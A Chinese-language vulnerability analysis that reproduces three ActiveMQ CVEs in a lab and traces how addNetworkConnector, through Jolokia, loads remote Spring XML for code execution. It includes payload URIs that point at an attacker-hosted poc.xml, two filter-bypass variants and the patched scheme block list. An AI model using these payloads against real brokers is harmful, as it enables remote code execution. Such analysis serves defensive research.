ActiveMQ 多个CVE复现调试与分析#
调试准备#
idea支持远程调试docker容器,非常方便,vulhub中的vulhub/activemq/CVE-2026-34197/docker-compose.yml写好了5005远程调试端口,docker compose运行后,直接在idea中添加一个Remote JVM Debug,填上对应的host和port,同时下载好对应版本的源码,启动调试即可

环境自取 https://github.com/Catherines77/ActiveMQ-CVE-ENV
CVE-2026-34197#
ActiveMQ 默认开启 Jolokia,Jolokia 会把所有 MBean 的所有方法通过 HTTP 接口暴露出来,不需要任何额外配置。漏洞出在addNetworkConnector方法,该方法在目标 broker 不存在时,会自动创建一个新 broker,创建时会解析 brokerConfig 参数 → 调用 XBeanBrokerFactory → 加载 Spring XML

addNetworkConnector#
org.apache.activemq.broker.jmx.BrokerView#addNetworkConnector
该方法首先接收discoveryAddress参数,该参数的值就是static:(vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml)
创建connector对象,初始化,然后判断connector是否为空,注册MBean并启动该connector
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
if (connector == null) {
throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
}
brokerService.registerNetworkConnectorMBean(connector);
connector.start();
return connector.getName();
}跟进connector.start()方法→dostart()→handleStart()→SimpleDiscoveryAgent.start()
onServiceAdd#
关键函数调用onServiceAdd()
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}调试发现这里的event对象内的serviceName字段值就是我们传入的payload,String url = event.getServiceName();将payload赋给了url

然后调用TransportFactory.connect,准备发起连接,然后调用tf.doConnect()→doCompositeConnect()
doCompositeConnect#
该方法解析工厂名,主机名,uri参数,然后在SERVER中去找是否有该主机名,如果没有,就注册新的Broker,即调用方法BrokerFactory.createBroker
public Transport doCompositeConnect(URI location) throws Exception {
URI brokerURI;
String host;
Map<String, String> options;
boolean create = true;
int waitForStart = -1;
CompositeData data = URISupport.parseComposite(location);
if (data.getComponents().length == 1 && "broker".equals(data.getComponents()[0].getScheme())) {
....
} else {
try {
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
if ("false".equals(options.remove("create"))) {
create = false;
}
String waitForStartString = options.remove("waitForStart");
if (waitForStartString != null) {
waitForStart = Integer.parseInt(waitForStartString);
}
} catch (URISyntaxException e1) {
throw IOExceptionSupport.create(e1);
}
location = new URI("vm://" + host);
}
if (host == null) {
host = "localhost";
}
VMTransportServer server = SERVERS.get(host);
// validate the broker is still active
if (!validateBroker(host) || server == null) {
BrokerService broker = null;
// Synchronize on the registry so that multiple concurrent threads
// doing this do not think that the broker has not been created and
// cause multiple brokers to be started.
synchronized (BrokerRegistry.getInstance().getRegistryMutext()) {
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}createBroker#
在创建Broker的过程中一步步跟进,可以发现调用了createApplicationContext()这个方法
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
......createApplicationContext#
关键在return new ResourceXmlApplicationContext(resource),ResourceXmlApplicationContext()方法会远程加载Spring XML
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}主要调用栈
createApplicationContext:104, XBeanBrokerFactory (org.apache.activemq.xbean)
createBroker:67, XBeanBrokerFactory (org.apache.activemq.xbean)
createBroker:73, BrokerFactory (org.apache.activemq.broker)
createBroker:56, BrokerFactory (org.apache.activemq.broker)
doCompositeConnect:125, VMTransportFactory (org.apache.activemq.transport.vm)
doConnect:56, VMTransportFactory (org.apache.activemq.transport.vm)
connect:69, TransportFactory (org.apache.activemq.transport)
onServiceAdd:132, DiscoveryNetworkConnector (org.apache.activemq.network)
start:92, SimpleDiscoveryAgent (org.apache.activemq.transport.discovery.simple)
handleStart:218, DiscoveryNetworkConnector (org.apache.activemq.network)
doStart:59, NetworkConnector$1 (org.apache.activemq.network)
start:55, ServiceSupport (org.apache.activemq.util)
start:164, NetworkConnector (org.apache.activemq.network)
addNetworkConnector:418, BrokerView (org.apache.activemq.broker.jmx)CVE-2026-40466#
修复方法#
6.2.3对CVE-2026-34197的修复是在addNetworkConnector方法中加入了validateAllowedUrl过滤方法,该方法会递归调用,直到只剩一个uri,validateAllowedScheme方法就是判断uri中的scheme是否为vm,如果是则直接抛出异常,CVE-2026-34197的payload是static:(vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml),经过递归调用会将uri变为vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml,导致无法通过validateAllowedScheme过滤方法,抛出异常
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
if (depth > 5) {
throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
}
validateAllowedScheme(uri.getScheme());
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}尝试大小写绕过,行不通,严格区分大小写,拿不到vm工厂类,无法创建broker

绕过分析#
绕过的方式是用 HTTP Discovery 协议二次跳转回 VM transport
过滤方法validateAllowedScheme无法拦截掉payloadhttp://192.168.239.129:8081/discovery-registry/default?updateInterval=1000,因为并不是vm协议,同时discoveryAgent也变成了HttpDiscoveryAgent对象(前面初始化构造函数赋值)
connector.start()方法→dostart()→handleStart()→HttpDiscoveryAgent.start()
跟进update()方法→doLookup(),该方法用异步线程去请求payload中的地址,
synchronized private Set<String> doLookup(long freshness) {
String url = registryURL + "?freshness=" + freshness;
try {
HttpGet method = new HttpGet(url);
ResponseHandler<String> handler = new BasicResponseHandler();
String response = httpClient.execute(method, handler);
LOG.debug("GET to " + url + " got a " + response);
Set<String> rc = new HashSet<String>();
Scanner scanner = new Scanner(response);
while (scanner.hasNextLine()) {
String service = scanner.nextLine();
if (service.trim().length() != 0) {
rc.add(service);
}
}
scanner.close();
return rc;
} catch (Exception e) {
LOG.debug("GET to " + url + " failed with: " + e);
return null;
}
}调试发现返回的rc就是response的值

回到update方法,此时activeServices的值就为vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml,然后进入if分支,创建addedServices HashSet,进入for循环,调用discoveryListener.onServiceAdd方法,这就回到了CVE-2026-34197的漏洞链,onServiceAdd→doCompositeConnect→createBroker→createApplicationContext,造成RCE
..........
if (discoveryListener != null) {
Set<String> activeServices = doLookup(updateInterval * 3);
// If there is error talking the the central server, then
// activeServices == null
if (activeServices != null) {
synchronized (discoveredServices) {
HashSet<String> removedServices = new HashSet<String>(discoveredServices.keySet());
removedServices.removeAll(activeServices);
HashSet<String> addedServices = new HashSet<String>(activeServices);
addedServices.removeAll(discoveredServices.keySet());
addedServices.removeAll(removedServices);
for (String service : addedServices) {
SimpleDiscoveryEvent e = new SimpleDiscoveryEvent(service);
discoveredServices.put(service, e);
discoveryListener.onServiceAdd(e);
}
...........调用栈
createApplicationContext:104, XBeanBrokerFactory (org.apache.activemq.xbean)
createBroker:67, XBeanBrokerFactory (org.apache.activemq.xbean)
createBroker:73, BrokerFactory (org.apache.activemq.broker)
createBroker:56, BrokerFactory (org.apache.activemq.broker)
doCompositeConnect:125, VMTransportFactory (org.apache.activemq.transport.vm)
doConnect:56, VMTransportFactory (org.apache.activemq.transport.vm)
connect:69, TransportFactory (org.apache.activemq.transport)
onServiceAdd:132, DiscoveryNetworkConnector (org.apache.activemq.network)
update:309, HTTPDiscoveryAgent (org.apache.activemq.transport.discovery.http)
run:249, HTTPDiscoveryAgent$2 (org.apache.activemq.transport.discovery.http)
start:234, HTTPDiscoveryAgent (org.apache.activemq.transport.discovery.http)
handleStart:218, DiscoveryNetworkConnector (org.apache.activemq.network)
doStart:59, NetworkConnector$1 (org.apache.activemq.network)
start:55, ServiceSupport (org.apache.activemq.util)
start:164, NetworkConnector (org.apache.activemq.network)
addNetworkConnector:424, BrokerView (org.apache.activemq.broker.jmx)CVE-2026-42588#
修复方法#
6.2.5对CVE-2026-40466的修复方法仍是validateAllowedUrl,只是增强了其协议黑名单,如下,可以看到http赫然在列,那么CVE-2026-40466的绕过方法就失效了
public static final Set<String> DENIED_TRANSPORT_SCHEMES = Set.of("vm", "http",
"multicast", "zeroconf", "discovery", "fanout", "mock", "peer", "failover",
"proxy", "reliable", "simple", "udp");绕过分析#
static:vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml仔细看这个payload就会发现与34197和40466的payload不同的是,去掉了括号,使其以括号为检测的isCompositeURI函数逻辑就失效了,因此能够绕过过滤函数validateAllowedUrl
private static void validateAllowedScheme(String scheme) {
for (String denied : DENIED_TRANSPORT_SCHEMES) {
// The schemes should be case-insensitive but ignore case as a precaution
if (scheme.equalsIgnoreCase(denied)) {
throw new IllegalArgumentException("Transport scheme '" + scheme + "' is not allowed");
}
}
}首先第一层的validateAllowedScheme(uri.getScheme());无法拦住我们,因为用的是static协议,然后来到isCompositeURI方法
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
if (depth > 4) {
throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
}
validateAllowedScheme(uri.getScheme());
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(component)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(component.getScheme());
}
}
}
}getRawSchemeSpecificPart()方法获取的是协议冒号后的内容,即vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml,stripPrefix只是检测是否以//开头,因此ssp=vm://evil?brokerConfig=xbean:http://192.168.239.129:8081/poc.xml,ssp.indexOf('(')为-1,if条件不成立,return false,直接跳过了递归调用,成功绕过了validateAllowedUrl方法
public static boolean isCompositeURI(URI uri) {
String ssp = stripPrefix(uri.getRawSchemeSpecificPart().trim(), "//").trim();
if (ssp.indexOf('(') == 0 && checkParenthesis(ssp)) {
return true;
}
return false;
}但可惜的是,官方后续还在createApplicationContext方法中做了过滤,查看diff发现Utils.resourceFromString方法多了一个allowedProtocols参数

调试过程中发现allowedProtocols集合中只有file和classpath

我们的uri是以http开头的,isAllowFile检查过不去,进入到else if分支,然后来到validateUrlAllowed方法
public static Resource resourceFromString(String uri, Set<String> allowedProtocols) throws MalformedURLException {
if (allowedProtocols != null && allowedProtocols.isEmpty()) {
throw new IllegalArgumentException("No protocols are allowed for loading resources.");
}
final Resource resource;
if (isAllowFile(allowedProtocols, uri) && new File(uri).exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
validateUrlAllowed(uri, allowedProtocols);
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException | URISyntaxException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else if (isAllowClasspath(allowedProtocols)){
resource = new ClassPathResource(uri);
} else {
throw new IllegalArgumentException("URL [" + uri + "] can't be found or the protocol"
+ " is not allowed for loading resources");
}
return resource;
}detectedProtocol通过new URI(uriString).getScheme();获取到协议名为http
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (detectedProtocol == null) {
throw new IllegalArgumentException("Could not detect protocol in given URI [" + uriString + "]");
}
if (!allowedProtocols.contains(detectedProtocol)){
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed "
+ "for loading URL resources");
}
}
}而http显然不在file和classpath中,因此这里直接抛出异常,进不到return new ResourceXmlApplicationContext(resource)这个逻辑,导致无法远程加载xml

所以CVE-2026-42588并不是能够绕过6.2.5版本远程加载xml,只是其新型的payload绕过了第一层validateAllowedUrl函数的防御,也就是40466的fix,所以总的来说,6.2.5及以上就算是一个安全版本了